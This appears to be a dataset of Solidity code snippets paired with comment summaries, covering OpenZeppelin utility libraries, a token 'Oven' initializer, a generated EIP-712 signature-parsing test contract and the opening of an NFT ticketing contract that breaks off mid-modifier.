function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
create first empty round approve input tokengrant default admin rolegrant baker role
|
function initialize(
address _inputToken,
address _outputToken,
uint256 _roundSizeInputAmount,
address _recipe
) external {
require(
address(inputToken) == address(0),
"Oven.initializer: Already initialized"
);
require(_inputToken != address(0), "INPUT_TOKEN_ZERO");
require(_outputToken != address(0), "OUTPUT_TOKEN_ZERO");
require(_recipe != address(0), "RECIPE_ZERO");
inputToken = IERC20(_inputToken);
outputToken = IERC20(_outputToken);
roundSizeInputAmount = _roundSizeInputAmount;
recipe = IRecipe(_recipe);
rounds.push();
IERC20(_inputToken).safeApprove(_recipe, type(uint256).max);
_setRoleAdmin(DEFAULT_ADMIN_ROLE, DEFAULT_ADMIN_ROLE);
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setRoleAdmin(BAKER_ROLE, DEFAULT_ADMIN_ROLE);
_setupRole(BAKER_ROLE, _msgSender());
}
| 1,380,263
|
./full_match/1/0x4A20F53E612E6Ab515A46EcA9dd36a290a2287F7/sources/contracts/protocol/core/callable/CallableLoan.sol
|
@inheritdoc ICreditLine
|
function interestApr() public view override returns (uint256) {
return _staleCreditLine.interestApr();
}
| 9,813,824
|
// SPDX-License-Identifier: Unlicense
pragma solidity >=0.7.6;
contract CodegenTestDebug {
fallback () external {
assembly {
function _parseTransaction (o) -> offset, success, inOffset, inSize {
// zero memory
calldatacopy(0, calldatasize(), msize())
offset := o
let firstByte := byte(0, calldataload(offset))
let v := add(and(firstByte, 1), 27)
let primaryType := shr(1, firstByte)
offset := add(offset, 1)
let r := calldataload(offset)
offset := add(offset, 32)
let s := calldataload(offset)
offset := add(offset, 32)
let gasBefore := gas()
switch primaryType
// start of Mail
// typeHash: 0x3ebb15d469221e2562f7d56c127ee79351481f46c5eed680ee26a81df3afc127
// function: onMail(address,string,address,string,string,address,string,string)
case 0 {
let headSize := 256
let typeLen := 0
let txPtr := 576
let endOfSlot := add(txPtr, 256)
txPtr := 608
// typeHash of Mail
mstore(0, 0x3ebb15d469221e2562f7d56c127ee79351481f46c5eed680ee26a81df3afc127)
// typeHash of Person
mstore(32, 0xaa9758b75a945f4b22c1b80905ac552c64c1b79b04227a7c2992668992a06dbc)
// string Person.name
typeLen := shr(240, calldataload(offset))
offset := add(offset, 2)
mstore(txPtr, headSize)
headSize := add(headSize, add( 32, mul( 32, div( add(typeLen, 31), 32 ) ) ))
txPtr := add(txPtr, 32)
mstore(endOfSlot, typeLen)
endOfSlot := add(endOfSlot, 32)
calldatacopy(endOfSlot, offset, typeLen)
mstore(64, keccak256(endOfSlot, typeLen))
endOfSlot := add(endOfSlot, mul( 32, div( add(typeLen, 31), 32 ) ))
offset := add(offset, typeLen)
// address Person.wallet
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
calldatacopy(add(txPtr, sub(32, typeLen)), offset, typeLen)
mstore(96, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
// typeHash of Cyborg
mstore(128, 0x54a04c4263a87657fb09f22e40d06d2b506c11ede600fc43ded908fd3cbb9013)
// string Cyborg.identifier
typeLen := shr(240, calldataload(offset))
offset := add(offset, 2)
mstore(txPtr, headSize)
headSize := add(headSize, add( 32, mul( 32, div( add(typeLen, 31), 32 ) ) ))
txPtr := add(txPtr, 32)
mstore(endOfSlot, typeLen)
endOfSlot := add(endOfSlot, 32)
calldatacopy(endOfSlot, offset, typeLen)
mstore(160, keccak256(endOfSlot, typeLen))
endOfSlot := add(endOfSlot, mul( 32, div( add(typeLen, 31), 32 ) ))
offset := add(offset, typeLen)
// hash of ...
mstore(128, keccak256(128, 64))
// hash of ...
mstore(32, keccak256(32, 128))
// typeHash of Person
mstore(64, 0xaa9758b75a945f4b22c1b80905ac552c64c1b79b04227a7c2992668992a06dbc)
// string Person.name
typeLen := shr(240, calldataload(offset))
offset := add(offset, 2)
mstore(txPtr, headSize)
headSize := add(headSize, add( 32, mul( 32, div( add(typeLen, 31), 32 ) ) ))
txPtr := add(txPtr, 32)
mstore(endOfSlot, typeLen)
endOfSlot := add(endOfSlot, 32)
calldatacopy(endOfSlot, offset, typeLen)
mstore(96, keccak256(endOfSlot, typeLen))
endOfSlot := add(endOfSlot, mul( 32, div( add(typeLen, 31), 32 ) ))
offset := add(offset, typeLen)
// address Person.wallet
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
calldatacopy(add(txPtr, sub(32, typeLen)), offset, typeLen)
mstore(128, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
// typeHash of Cyborg
mstore(160, 0x54a04c4263a87657fb09f22e40d06d2b506c11ede600fc43ded908fd3cbb9013)
// string Cyborg.identifier
typeLen := shr(240, calldataload(offset))
offset := add(offset, 2)
mstore(txPtr, headSize)
headSize := add(headSize, add( 32, mul( 32, div( add(typeLen, 31), 32 ) ) ))
txPtr := add(txPtr, 32)
mstore(endOfSlot, typeLen)
endOfSlot := add(endOfSlot, 32)
calldatacopy(endOfSlot, offset, typeLen)
mstore(192, keccak256(endOfSlot, typeLen))
endOfSlot := add(endOfSlot, mul( 32, div( add(typeLen, 31), 32 ) ))
offset := add(offset, typeLen)
// hash of ...
mstore(160, keccak256(160, 64))
// hash of ...
mstore(64, keccak256(64, 128))
// string Mail.contents
typeLen := shr(240, calldataload(offset))
offset := add(offset, 2)
mstore(txPtr, headSize)
headSize := add(headSize, add( 32, mul( 32, div( add(typeLen, 31), 32 ) ) ))
txPtr := add(txPtr, 32)
mstore(endOfSlot, typeLen)
endOfSlot := add(endOfSlot, 32)
calldatacopy(endOfSlot, offset, typeLen)
mstore(96, keccak256(endOfSlot, typeLen))
endOfSlot := add(endOfSlot, mul( 32, div( add(typeLen, 31), 32 ) ))
offset := add(offset, typeLen)
// typeHash
let structHash := keccak256(0, 128)
// prefix
mstore(0, 0x1901000000000000000000000000000000000000000000000000000000000000)
// DOMAIN struct hash
mstore(2, 0xf2cee375fa42b42143804025fc449deafd50cc031ca257e0b194a650a912090f)
// transactionStructHash
mstore(34, structHash)
mstore(0, keccak256(0, 66))
mstore(32, v)
mstore(64, r)
mstore(96, s)
success := staticcall(gas(), 1, 0, 128, 128, 32)
// functionSig
mstore(544, 0xf6f082e5)
mstore(576, mload(128))
mstore(endOfSlot, sub(gasBefore, gas()))
return(572, sub(endOfSlot, 540))
}
// end of Mail
// start of Transaction
// typeHash: 0x174ead53e7b62242b648b7bb2a954244aaa3af2f55517ec670f9801d2dea09e5
// function: onTransaction(address,address,uint256,bytes)
case 1 {
let headSize := 128
let typeLen := 0
let txPtr := 320
let endOfSlot := add(txPtr, 128)
txPtr := 352
// typeHash of Transaction
mstore(0, 0x174ead53e7b62242b648b7bb2a954244aaa3af2f55517ec670f9801d2dea09e5)
// address Transaction.to
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
calldatacopy(add(txPtr, sub(32, typeLen)), offset, typeLen)
mstore(32, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
// uint256 Transaction.nonce
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
calldatacopy(add(txPtr, sub(32, typeLen)), offset, typeLen)
mstore(64, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
// bytes Transaction.data
typeLen := shr(240, calldataload(offset))
offset := add(offset, 2)
mstore(txPtr, headSize)
headSize := add(headSize, add( 32, mul( 32, div( add(typeLen, 31), 32 ) ) ))
txPtr := add(txPtr, 32)
mstore(endOfSlot, typeLen)
endOfSlot := add(endOfSlot, 32)
calldatacopy(endOfSlot, offset, typeLen)
mstore(96, keccak256(endOfSlot, typeLen))
endOfSlot := add(endOfSlot, mul( 32, div( add(typeLen, 31), 32 ) ))
offset := add(offset, typeLen)
// typeHash
let structHash := keccak256(0, 128)
// prefix
mstore(0, 0x1901000000000000000000000000000000000000000000000000000000000000)
// DOMAIN struct hash
mstore(2, 0xf2cee375fa42b42143804025fc449deafd50cc031ca257e0b194a650a912090f)
// transactionStructHash
mstore(34, structHash)
mstore(0, keccak256(0, 66))
mstore(32, v)
mstore(64, r)
mstore(96, s)
success := staticcall(gas(), 1, 0, 128, 128, 32)
// functionSig
mstore(288, 0xf957ee78)
mstore(320, mload(128))
mstore(endOfSlot, sub(gasBefore, gas()))
return(316, sub(endOfSlot, 284))
}
// end of Transaction
// start of TypeTest
// typeHash: 0xdb31b35c84ca6e48f74f80ad0d69ba04eb7c2b53a8033f13714b58993f72963d
// function: onTypeTest(address,bytes,address,uint256,uint8,int8,bytes20)
case 2 {
let headSize := 224
let typeLen := 0
let txPtr := 512
let endOfSlot := add(txPtr, 224)
txPtr := 544
// typeHash of TypeTest
mstore(0, 0xdb31b35c84ca6e48f74f80ad0d69ba04eb7c2b53a8033f13714b58993f72963d)
// bytes TypeTest.data
typeLen := shr(240, calldataload(offset))
offset := add(offset, 2)
mstore(txPtr, headSize)
headSize := add(headSize, add( 32, mul( 32, div( add(typeLen, 31), 32 ) ) ))
txPtr := add(txPtr, 32)
mstore(endOfSlot, typeLen)
endOfSlot := add(endOfSlot, 32)
calldatacopy(endOfSlot, offset, typeLen)
mstore(32, keccak256(endOfSlot, typeLen))
endOfSlot := add(endOfSlot, mul( 32, div( add(typeLen, 31), 32 ) ))
offset := add(offset, typeLen)
// address TypeTest.to
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
calldatacopy(add(txPtr, sub(32, typeLen)), offset, typeLen)
mstore(64, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
// uint256 TypeTest.u256
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
calldatacopy(add(txPtr, sub(32, typeLen)), offset, typeLen)
mstore(96, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
// uint8 TypeTest.u8
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
calldatacopy(add(txPtr, sub(32, typeLen)), offset, typeLen)
mstore(128, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
// int8 TypeTest.i8
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
mstore(txPtr, not(1))
calldatacopy(add(txPtr, sub(32, typeLen)), offset, typeLen)
mstore(160, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
// bytes20 TypeTest.b20
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
calldatacopy(add(txPtr, sub(20, typeLen)), offset, typeLen)
mstore(192, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
// typeHash
let structHash := keccak256(0, 224)
// prefix
mstore(0, 0x1901000000000000000000000000000000000000000000000000000000000000)
// DOMAIN struct hash
mstore(2, 0xf2cee375fa42b42143804025fc449deafd50cc031ca257e0b194a650a912090f)
// transactionStructHash
mstore(34, structHash)
mstore(0, keccak256(0, 66))
mstore(32, v)
mstore(64, r)
mstore(96, s)
success := staticcall(gas(), 1, 0, 128, 128, 32)
// functionSig
mstore(480, 0xf14742aa)
mstore(512, mload(128))
mstore(endOfSlot, sub(gasBefore, gas()))
return(508, sub(endOfSlot, 476))
}
// end of TypeTest
// start of Foo
// typeHash: 0x2937f1ca5dd875b11a08729d8e911b1395b9ada19ad8798065ba5512ea55d0a7
// function: onFoo(address,bytes)
case 3 {
let headSize := 64
let typeLen := 0
let txPtr := 192
let endOfSlot := add(txPtr, 64)
txPtr := 224
// typeHash of Foo
mstore(0, 0x2937f1ca5dd875b11a08729d8e911b1395b9ada19ad8798065ba5512ea55d0a7)
// bytes Foo.data
typeLen := shr(240, calldataload(offset))
offset := add(offset, 2)
mstore(txPtr, headSize)
headSize := add(headSize, add( 32, mul( 32, div( add(typeLen, 31), 32 ) ) ))
txPtr := add(txPtr, 32)
mstore(endOfSlot, typeLen)
endOfSlot := add(endOfSlot, 32)
calldatacopy(endOfSlot, offset, typeLen)
mstore(32, keccak256(endOfSlot, typeLen))
endOfSlot := add(endOfSlot, mul( 32, div( add(typeLen, 31), 32 ) ))
offset := add(offset, typeLen)
// typeHash
let structHash := keccak256(0, 64)
// prefix
mstore(0, 0x1901000000000000000000000000000000000000000000000000000000000000)
// DOMAIN struct hash
mstore(2, 0xf2cee375fa42b42143804025fc449deafd50cc031ca257e0b194a650a912090f)
// transactionStructHash
mstore(34, structHash)
mstore(0, keccak256(0, 66))
mstore(32, v)
mstore(64, r)
mstore(96, s)
success := staticcall(gas(), 1, 0, 128, 128, 32)
// functionSig
mstore(160, 0xdd2be7c4)
mstore(192, mload(128))
mstore(endOfSlot, sub(gasBefore, gas()))
return(188, sub(endOfSlot, 156))
}
// end of Foo
default { }
}
let nextOffset, success, inOffset, inSize := _parseTransaction(0)
}
}
}
|
zero memory start of Mail typeHash: 0x3ebb15d469221e2562f7d56c127ee79351481f46c5eed680ee26a81df3afc127 function: onMail(address,string,address,string,string,address,string,string) typeHash of Mail typeHash of Person string Person.name address Person.wallet typeHash of Cyborg string Cyborg.identifier hash of ... hash of ... typeHash of Person string Person.name address Person.wallet typeHash of Cyborg string Cyborg.identifier hash of ... hash of ... string Mail.contents typeHash prefix DOMAIN struct hash transactionStructHash functionSig start of Transaction typeHash: 0x174ead53e7b62242b648b7bb2a954244aaa3af2f55517ec670f9801d2dea09e5 function: onTransaction(address,address,uint256,bytes) typeHash of Transaction address Transaction.to uint256 Transaction.nonce bytes Transaction.data typeHash prefix DOMAIN struct hash transactionStructHash functionSig start of TypeTest typeHash: 0xdb31b35c84ca6e48f74f80ad0d69ba04eb7c2b53a8033f13714b58993f72963d function: onTypeTest(address,bytes,address,uint256,uint8,int8,bytes20) typeHash of TypeTest bytes TypeTest.data address TypeTest.to uint256 TypeTest.u256 uint8 TypeTest.u8 int8 TypeTest.i8 bytes20 TypeTest.b20 typeHash prefix DOMAIN struct hash transactionStructHash functionSig start of Foo typeHash: 0x2937f1ca5dd875b11a08729d8e911b1395b9ada19ad8798065ba5512ea55d0a7 function: onFoo(address,bytes) typeHash of Foo bytes Foo.data typeHash prefix DOMAIN struct hash transactionStructHash functionSig
|
fallback () external {
assembly {
function _parseTransaction (o) -> offset, success, inOffset, inSize {
calldatacopy(0, calldatasize(), msize())
offset := o
let firstByte := byte(0, calldataload(offset))
let v := add(and(firstByte, 1), 27)
let primaryType := shr(1, firstByte)
offset := add(offset, 1)
let r := calldataload(offset)
offset := add(offset, 32)
let s := calldataload(offset)
offset := add(offset, 32)
let gasBefore := gas()
switch primaryType
case 0 {
let headSize := 256
let typeLen := 0
let txPtr := 576
let endOfSlot := add(txPtr, 256)
txPtr := 608
mstore(0, 0x3ebb15d469221e2562f7d56c127ee79351481f46c5eed680ee26a81df3afc127)
mstore(32, 0xaa9758b75a945f4b22c1b80905ac552c64c1b79b04227a7c2992668992a06dbc)
typeLen := shr(240, calldataload(offset))
offset := add(offset, 2)
mstore(txPtr, headSize)
headSize := add(headSize, add( 32, mul( 32, div( add(typeLen, 31), 32 ) ) ))
txPtr := add(txPtr, 32)
mstore(endOfSlot, typeLen)
endOfSlot := add(endOfSlot, 32)
calldatacopy(endOfSlot, offset, typeLen)
mstore(64, keccak256(endOfSlot, typeLen))
endOfSlot := add(endOfSlot, mul( 32, div( add(typeLen, 31), 32 ) ))
offset := add(offset, typeLen)
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
calldatacopy(add(txPtr, sub(32, typeLen)), offset, typeLen)
mstore(96, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
mstore(128, 0x54a04c4263a87657fb09f22e40d06d2b506c11ede600fc43ded908fd3cbb9013)
typeLen := shr(240, calldataload(offset))
offset := add(offset, 2)
mstore(txPtr, headSize)
headSize := add(headSize, add( 32, mul( 32, div( add(typeLen, 31), 32 ) ) ))
txPtr := add(txPtr, 32)
mstore(endOfSlot, typeLen)
endOfSlot := add(endOfSlot, 32)
calldatacopy(endOfSlot, offset, typeLen)
mstore(160, keccak256(endOfSlot, typeLen))
endOfSlot := add(endOfSlot, mul( 32, div( add(typeLen, 31), 32 ) ))
offset := add(offset, typeLen)
mstore(128, keccak256(128, 64))
mstore(32, keccak256(32, 128))
mstore(64, 0xaa9758b75a945f4b22c1b80905ac552c64c1b79b04227a7c2992668992a06dbc)
typeLen := shr(240, calldataload(offset))
offset := add(offset, 2)
mstore(txPtr, headSize)
headSize := add(headSize, add( 32, mul( 32, div( add(typeLen, 31), 32 ) ) ))
txPtr := add(txPtr, 32)
mstore(endOfSlot, typeLen)
endOfSlot := add(endOfSlot, 32)
calldatacopy(endOfSlot, offset, typeLen)
mstore(96, keccak256(endOfSlot, typeLen))
endOfSlot := add(endOfSlot, mul( 32, div( add(typeLen, 31), 32 ) ))
offset := add(offset, typeLen)
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
calldatacopy(add(txPtr, sub(32, typeLen)), offset, typeLen)
mstore(128, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
mstore(160, 0x54a04c4263a87657fb09f22e40d06d2b506c11ede600fc43ded908fd3cbb9013)
typeLen := shr(240, calldataload(offset))
offset := add(offset, 2)
mstore(txPtr, headSize)
headSize := add(headSize, add( 32, mul( 32, div( add(typeLen, 31), 32 ) ) ))
txPtr := add(txPtr, 32)
mstore(endOfSlot, typeLen)
endOfSlot := add(endOfSlot, 32)
calldatacopy(endOfSlot, offset, typeLen)
mstore(192, keccak256(endOfSlot, typeLen))
endOfSlot := add(endOfSlot, mul( 32, div( add(typeLen, 31), 32 ) ))
offset := add(offset, typeLen)
mstore(160, keccak256(160, 64))
mstore(64, keccak256(64, 128))
typeLen := shr(240, calldataload(offset))
offset := add(offset, 2)
mstore(txPtr, headSize)
headSize := add(headSize, add( 32, mul( 32, div( add(typeLen, 31), 32 ) ) ))
txPtr := add(txPtr, 32)
mstore(endOfSlot, typeLen)
endOfSlot := add(endOfSlot, 32)
calldatacopy(endOfSlot, offset, typeLen)
mstore(96, keccak256(endOfSlot, typeLen))
endOfSlot := add(endOfSlot, mul( 32, div( add(typeLen, 31), 32 ) ))
offset := add(offset, typeLen)
let structHash := keccak256(0, 128)
mstore(0, 0x1901000000000000000000000000000000000000000000000000000000000000)
mstore(2, 0xf2cee375fa42b42143804025fc449deafd50cc031ca257e0b194a650a912090f)
mstore(34, structHash)
mstore(0, keccak256(0, 66))
mstore(32, v)
mstore(64, r)
mstore(96, s)
success := staticcall(gas(), 1, 0, 128, 128, 32)
mstore(544, 0xf6f082e5)
mstore(576, mload(128))
mstore(endOfSlot, sub(gasBefore, gas()))
return(572, sub(endOfSlot, 540))
}
case 1 {
let headSize := 128
let typeLen := 0
let txPtr := 320
let endOfSlot := add(txPtr, 128)
txPtr := 352
mstore(0, 0x174ead53e7b62242b648b7bb2a954244aaa3af2f55517ec670f9801d2dea09e5)
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
calldatacopy(add(txPtr, sub(32, typeLen)), offset, typeLen)
mstore(32, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
calldatacopy(add(txPtr, sub(32, typeLen)), offset, typeLen)
mstore(64, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
typeLen := shr(240, calldataload(offset))
offset := add(offset, 2)
mstore(txPtr, headSize)
headSize := add(headSize, add( 32, mul( 32, div( add(typeLen, 31), 32 ) ) ))
txPtr := add(txPtr, 32)
mstore(endOfSlot, typeLen)
endOfSlot := add(endOfSlot, 32)
calldatacopy(endOfSlot, offset, typeLen)
mstore(96, keccak256(endOfSlot, typeLen))
endOfSlot := add(endOfSlot, mul( 32, div( add(typeLen, 31), 32 ) ))
offset := add(offset, typeLen)
let structHash := keccak256(0, 128)
mstore(0, 0x1901000000000000000000000000000000000000000000000000000000000000)
mstore(2, 0xf2cee375fa42b42143804025fc449deafd50cc031ca257e0b194a650a912090f)
mstore(34, structHash)
mstore(0, keccak256(0, 66))
mstore(32, v)
mstore(64, r)
mstore(96, s)
success := staticcall(gas(), 1, 0, 128, 128, 32)
mstore(288, 0xf957ee78)
mstore(320, mload(128))
mstore(endOfSlot, sub(gasBefore, gas()))
return(316, sub(endOfSlot, 284))
}
case 2 {
let headSize := 224
let typeLen := 0
let txPtr := 512
let endOfSlot := add(txPtr, 224)
txPtr := 544
mstore(0, 0xdb31b35c84ca6e48f74f80ad0d69ba04eb7c2b53a8033f13714b58993f72963d)
typeLen := shr(240, calldataload(offset))
offset := add(offset, 2)
mstore(txPtr, headSize)
headSize := add(headSize, add( 32, mul( 32, div( add(typeLen, 31), 32 ) ) ))
txPtr := add(txPtr, 32)
mstore(endOfSlot, typeLen)
endOfSlot := add(endOfSlot, 32)
calldatacopy(endOfSlot, offset, typeLen)
mstore(32, keccak256(endOfSlot, typeLen))
endOfSlot := add(endOfSlot, mul( 32, div( add(typeLen, 31), 32 ) ))
offset := add(offset, typeLen)
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
calldatacopy(add(txPtr, sub(32, typeLen)), offset, typeLen)
mstore(64, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
calldatacopy(add(txPtr, sub(32, typeLen)), offset, typeLen)
mstore(96, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
calldatacopy(add(txPtr, sub(32, typeLen)), offset, typeLen)
mstore(128, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
mstore(txPtr, not(1))
calldatacopy(add(txPtr, sub(32, typeLen)), offset, typeLen)
mstore(160, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
typeLen := byte(0, calldataload(offset))
offset := add(offset, 1)
calldatacopy(add(txPtr, sub(20, typeLen)), offset, typeLen)
mstore(192, mload(txPtr))
offset := add(offset, typeLen)
txPtr := add(txPtr, 32)
let structHash := keccak256(0, 224)
mstore(0, 0x1901000000000000000000000000000000000000000000000000000000000000)
mstore(2, 0xf2cee375fa42b42143804025fc449deafd50cc031ca257e0b194a650a912090f)
mstore(34, structHash)
mstore(0, keccak256(0, 66))
mstore(32, v)
mstore(64, r)
mstore(96, s)
success := staticcall(gas(), 1, 0, 128, 128, 32)
mstore(480, 0xf14742aa)
mstore(512, mload(128))
mstore(endOfSlot, sub(gasBefore, gas()))
return(508, sub(endOfSlot, 476))
}
case 3 {
let headSize := 64
let typeLen := 0
let txPtr := 192
let endOfSlot := add(txPtr, 64)
txPtr := 224
mstore(0, 0x2937f1ca5dd875b11a08729d8e911b1395b9ada19ad8798065ba5512ea55d0a7)
typeLen := shr(240, calldataload(offset))
offset := add(offset, 2)
mstore(txPtr, headSize)
headSize := add(headSize, add( 32, mul( 32, div( add(typeLen, 31), 32 ) ) ))
txPtr := add(txPtr, 32)
mstore(endOfSlot, typeLen)
endOfSlot := add(endOfSlot, 32)
calldatacopy(endOfSlot, offset, typeLen)
mstore(32, keccak256(endOfSlot, typeLen))
endOfSlot := add(endOfSlot, mul( 32, div( add(typeLen, 31), 32 ) ))
offset := add(offset, typeLen)
let structHash := keccak256(0, 64)
mstore(0, 0x1901000000000000000000000000000000000000000000000000000000000000)
mstore(2, 0xf2cee375fa42b42143804025fc449deafd50cc031ca257e0b194a650a912090f)
mstore(34, structHash)
mstore(0, keccak256(0, 66))
mstore(32, v)
mstore(64, r)
mstore(96, s)
success := staticcall(gas(), 1, 0, 128, 128, 32)
mstore(160, 0xdd2be7c4)
mstore(192, mload(128))
mstore(endOfSlot, sub(gasBefore, gas()))
return(188, sub(endOfSlot, 156))
}
}
let nextOffset, success, inOffset, inSize := _parseTransaction(0)
}
}
| 13,034,341
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
*
*
* ╔═══╗ ╔╗ ╔╗
* ║╔═╗║ ║║ ║║
* ║╚═╝╠═╦══╦╗╔╣╚═╦══╦═╗╔══╦═╗───║╠══╦═══╦═══╗
* ║╔══╣╔╣╔╗║╚╝║╔╗║╔╗║╔╗╣╔╗║╔╗╗╔╗║║╔╗╠══║╠══║║
* ║║ ║║║╔╗║║║║╚╝║╔╗║║║║╔╗║║║║║╚╝║╔╗║║══╣║══╣
* ╚╝ ╚╝╚╝╚╩╩╩╩══╩╝╚╩╝╚╩╝╚╩╝╚╝╚══╩╝╚╩═══╩═══╝
*
* This code is part of Prambanan Jazz NFT project (https://nft.prambananjazz.com).
*
* Developed by Tiyasan Nusantara Teknologi (tiyasannusantara.com).
*
* Prambanan Jazz NFT is a collection of 1000 digital collectible items with exclusive benefits.
*
* NFT owners automatically become honored guests of Prambanan Jazz.
* Prambanan Jazz NFTs represent various benefits such as lifetime access to all Rajawali Indonesia concerts,
* lifetime access to Prambanan Jazz itself, merchandise, Skip the lines at festival,
* exclusive meet and greets with all performers, as well as VVIP place in Prambanan Jazz Festival.
*
*/
import "ERC721.sol";
import "ERC721Enumerable.sol";
import "IERC721Enumerable.sol";
import "IERC721Metadata.sol";
import "HasAdmin.sol";
import "HasRoot.sol";
import "SigVerifier.sol";
import "MarketplaceWhitelist.sol";
contract PJF is ERC721, HasRoot, HasAdmin, SigVerifier, MarketplaceWhitelist {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 1000;
uint256 public constant DISCOUNT_PRICE = 0.01 ether;
uint256 public constant NORMAL_PRICE_BASE = 0.02 ether;
uint256 public publicMintStartTime;
string public baseTokenURI;
uint32 public totalWhitelistMinted = 0;
uint16 public totalSupply = 0;
uint16 public maxMintPerAccount = 1;
mapping(address => uint16) private _mintedByAccounts;
event Mint(uint256 indexed tokenId, address indexed owner);
event Renounced(address root, address admin);
constructor(
string memory _baseTokenURI,
address root,
address admin
) ERC721("Prambanan Jazz NFT", "PJF") {
baseTokenURI = _baseTokenURI;
_setRoot(root);
_setAdmin(admin);
publicMintStartTime = 1651337999; // May 1st, 2022
}
modifier onlyAdminOrRoot() {
require(
